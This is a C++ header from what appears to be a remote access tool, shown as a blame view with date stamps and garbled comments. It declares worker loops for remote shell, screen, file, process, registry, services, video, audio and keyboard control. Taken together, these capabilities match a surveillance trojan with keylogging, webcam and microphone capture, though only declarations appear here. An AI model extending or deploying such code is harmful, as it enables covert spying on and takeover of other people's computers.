2019-01-05 20:21:43 +08:00
|
|
|
|
#pragma once
|
2025-03-30 18:03:01 +08:00
|
|
|
|
#include "StdAfx.h"
|
2019-01-05 20:21:43 +08:00
|
|
|
|
#include "IOCPClient.h"
|
2024-12-27 19:18:44 +08:00
|
|
|
|
#include "common/commands.h"
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
typedef struct _THREAD_ARG_LIST
|
|
|
|
|
|
{
|
|
|
|
|
|
DWORD (WINAPI *StartAddress)(LPVOID lParameter);
|
|
|
|
|
|
LPVOID lParam;
|
|
|
|
|
|
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ??
|
|
|
|
|
|
HANDLE hEvent;
|
|
|
|
|
|
}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
|
|
|
|
|
|
|
2025-03-30 18:03:01 +08:00
|
|
|
|
typedef struct UserParam
|
|
|
|
|
|
{
|
|
|
|
|
|
BYTE* buffer;
|
|
|
|
|
|
int length;
|
|
|
|
|
|
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
|
|
|
|
|
|
}UserParam;
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
|
|
|
|
|
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
|
|
|
|
|
|
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain
|
|
|
|
|
|
LPVOID lParam, //char* strHost IP
|
|
|
|
|
|
DWORD dwCreationFlags, //0 4
|
|
|
|
|
|
LPDWORD ThreadId, bool bInteractive=FALSE);
|
|
|
|
|
|
|
|
|
|
|
|
DWORD WINAPI ThreadProc(LPVOID lParam);
|
|
|
|
|
|
|
|
|
|
|
|
DWORD WINAPI LoopShellManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
|
|
|
|
|
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|